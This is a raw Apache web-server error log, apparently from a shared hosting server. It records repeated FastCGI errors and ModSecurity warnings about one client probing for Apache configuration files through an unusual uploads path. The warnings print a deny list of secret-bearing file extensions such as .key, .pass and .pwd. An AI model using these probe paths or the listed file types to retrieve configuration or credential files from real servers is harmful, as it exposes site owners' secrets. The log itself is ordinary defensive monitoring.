[Fri Jul 17 09:10:29.274494 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.357709 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.437520 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.519177 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.599080 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.680540 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.759688 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.842748 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.923215 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.012831 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.093313 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.175149 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.255206 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.336936 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.417184 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.501015 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:41112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:30.508730 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.589382 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.677083 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.761495 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.854380 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:30.934896 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:31.017954 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:31.259902 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:31.345664 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:31.385803 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:31.438374 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:31.601378 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:31.771550 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:31.841313 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:31.858794 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:31.858860 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:31.862799 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:31.919552 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:31.934130 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:31.984094 2026] [security2:error] [pid 2029579:tid 2029579] [client 16.58.56.214:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almkLyRF0UOO1RzB5_8wRQAAAA4"]
[Fri Jul 17 09:10:31.999866 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-manual.conf"] [unique_id "almkL4l9vhFBGA6D8l98LwAAAAw"]
[Fri Jul 17 09:10:32.000279 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-manual.conf"] [unique_id "almkL4l9vhFBGA6D8l98LwAAAAw"]
[Fri Jul 17 09:10:32.013402 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-manual.conf"] [unique_id "almkL4l9vhFBGA6D8l98LwAAAAw"]
[Fri Jul 17 09:10:32.177886 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:32.305780 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:32.419779 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:32.502465 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:32.510109 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:32.609701 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:32.669841 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:32.712435 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:32.756611 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:32.821293 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:32.839306 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:32.912447 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-multilang-errordoc.conf"] [unique_id "almkMA7FYe46zHK_jL3SKQAAABk"]
[Fri Jul 17 09:10:32.913085 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-multilang-errordoc.conf"] [unique_id "almkMA7FYe46zHK_jL3SKQAAABk"]
[Fri Jul 17 09:10:32.919214 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:32.930071 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-multilang-errordoc.conf"] [unique_id "almkMA7FYe46zHK_jL3SKQAAABk"]
[Fri Jul 17 09:10:33.007823 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:33.088868 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:33.171551 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:33.252307 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:33.335641 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:48508] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:33.424689 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:33.428204 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-mpm.conf"] [unique_id "almkMYl9vhFBGA6D8l98MgAAAAw"]
[Fri Jul 17 09:10:33.428656 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-mpm.conf"] [unique_id "almkMYl9vhFBGA6D8l98MgAAAAw"]
[Fri Jul 17 09:10:33.466119 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-mpm.conf"] [unique_id "almkMYl9vhFBGA6D8l98MgAAAAw"]
[Fri Jul 17 09:10:33.506272 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:33.588709 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:33.669511 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:33.829561 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:33.933006 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-dav.conf"] [unique_id "almkMQ5GPQ6hs4VrfMpECgAAAAY"]
[Fri Jul 17 09:10:33.933461 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-dav.conf"] [unique_id "almkMQ5GPQ6hs4VrfMpECgAAAAY"]
[Fri Jul 17 09:10:33.979481 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-dav.conf"] [unique_id "almkMQ5GPQ6hs4VrfMpECgAAAAY"]
[Fri Jul 17 09:10:34.075113 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:34.185558 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:48532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:34.186561 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:34.266222 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:34.338217 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:34.348182 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:34.438935 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-vhosts.conf"] [unique_id "almkMg5GPQ6hs4VrfMpECwAAAAY"]
[Fri Jul 17 09:10:34.439408 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-vhosts.conf"] [unique_id "almkMg5GPQ6hs4VrfMpECwAAAAY"]
[Fri Jul 17 09:10:34.450230 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:34.450918 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sunriselanka-global": Permission denied [hostname "sunriselanka.lk"] [uri "/cgi-bin/index.php"] [unique_id "almkMvwooI4qY7Jg93pXygAAABM"]
[Fri Jul 17 09:10:34.450947 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sunriselanka-ip": Permission denied [hostname "sunriselanka.lk"] [uri "/cgi-bin/index.php"] [unique_id "almkMvwooI4qY7Jg93pXygAAABM"]
[Fri Jul 17 09:10:34.463833 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-vhosts.conf"] [unique_id "almkMg5GPQ6hs4VrfMpECwAAAAY"]
[Fri Jul 17 09:10:34.611379 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:34.846897 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-languages.conf"] [unique_id "almkMoe39YUk0SgV8AU8lwAAABE"]
[Fri Jul 17 09:10:34.847498 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-languages.conf"] [unique_id "almkMoe39YUk0SgV8AU8lwAAABE"]
[Fri Jul 17 09:10:34.857303 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-languages.conf"] [unique_id "almkMoe39YUk0SgV8AU8lwAAABE"]
[Fri Jul 17 09:10:34.859972 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:34.948827 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:35.040733 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
